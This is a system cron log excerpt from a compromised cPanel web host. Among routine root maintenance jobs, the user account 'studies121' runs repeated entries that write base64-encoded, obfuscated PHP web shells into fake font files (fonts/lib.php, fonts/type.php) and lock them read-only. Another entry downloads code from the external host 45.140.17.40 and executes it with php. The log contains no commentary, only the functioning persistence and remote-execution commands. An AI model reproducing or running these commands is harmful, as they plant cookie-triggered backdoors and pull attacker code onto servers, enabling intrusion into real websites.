Feb 22 18:32:01 ip-184-168-122-23 CROND[8352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:32:01 ip-184-168-122-23 CROND[8353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:32:01 ip-184-168-122-23 CROND[8354]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:32:01 ip-184-168-122-23 CROND[8357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:32:01 ip-184-168-122-23 CROND[8360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:33:01 ip-184-168-122-23 CROND[8674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:33:01 ip-184-168-122-23 CROND[8676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:33:01 ip-184-168-122-23 CROND[8677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:33:01 ip-184-168-122-23 CROND[8681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:34:01 ip-184-168-122-23 CROND[9081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:34:01 ip-184-168-122-23 CROND[9082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:34:01 ip-184-168-122-23 CROND[9087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:34:01 ip-184-168-122-23 CROND[9086]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:34:01 ip-184-168-122-23 CROND[9085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:35:01 ip-184-168-122-23 CROND[9423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:35:01 ip-184-168-122-23 CROND[9426]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 18:35:01 ip-184-168-122-23 CROND[9427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:35:01 ip-184-168-122-23 CROND[9431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:35:01 ip-184-168-122-23 CROND[9432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:35:01 ip-184-168-122-23 CROND[9434]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 18:35:01 ip-184-168-122-23 CROND[9435]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:35:01 ip-184-168-122-23 CROND[9437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:36:01 ip-184-168-122-23 CROND[9786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:36:01 ip-184-168-122-23 CROND[9789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:36:01 ip-184-168-122-23 CROND[9791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:36:01 ip-184-168-122-23 CROND[9788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:36:01 ip-184-168-122-23 CROND[9792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:37:01 ip-184-168-122-23 CROND[10111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:37:01 ip-184-168-122-23 CROND[10113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:37:01 ip-184-168-122-23 CROND[10115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:37:01 ip-184-168-122-23 CROND[10112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:38:01 ip-184-168-122-23 CROND[10449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:38:01 ip-184-168-122-23 CROND[10451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:38:01 ip-184-168-122-23 CROND[10452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:38:01 ip-184-168-122-23 CROND[10455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:38:01 ip-184-168-122-23 CROND[10454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:39:01 ip-184-168-122-23 CROND[10856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:39:01 ip-184-168-122-23 CROND[10857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:39:02 ip-184-168-122-23 CROND[10862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:39:02 ip-184-168-122-23 CROND[10860]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 18:39:02 ip-184-168-122-23 CROND[10861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:40:01 ip-184-168-122-23 CROND[11183]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 18:40:01 ip-184-168-122-23 CROND[11184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:40:01 ip-184-168-122-23 CROND[11187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:40:01 ip-184-168-122-23 CROND[11193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:40:01 ip-184-168-122-23 CROND[11190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:40:01 ip-184-168-122-23 CROND[11191]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:40:01 ip-184-168-122-23 CROND[11189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:40:01 ip-184-168-122-23 CROND[11194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:41:01 ip-184-168-122-23 CROND[11522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:41:01 ip-184-168-122-23 CROND[11523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:41:01 ip-184-168-122-23 CROND[11525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:41:01 ip-184-168-122-23 CROND[11526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:42:01 ip-184-168-122-23 CROND[11871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:42:01 ip-184-168-122-23 CROND[11873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:42:01 ip-184-168-122-23 CROND[11874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:42:01 ip-184-168-122-23 CROND[11878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:42:01 ip-184-168-122-23 CROND[11877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:43:01 ip-184-168-122-23 CROND[12220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:43:01 ip-184-168-122-23 CROND[12222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:43:01 ip-184-168-122-23 CROND[12225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:43:01 ip-184-168-122-23 CROND[12223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:44:01 ip-184-168-122-23 CROND[12543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
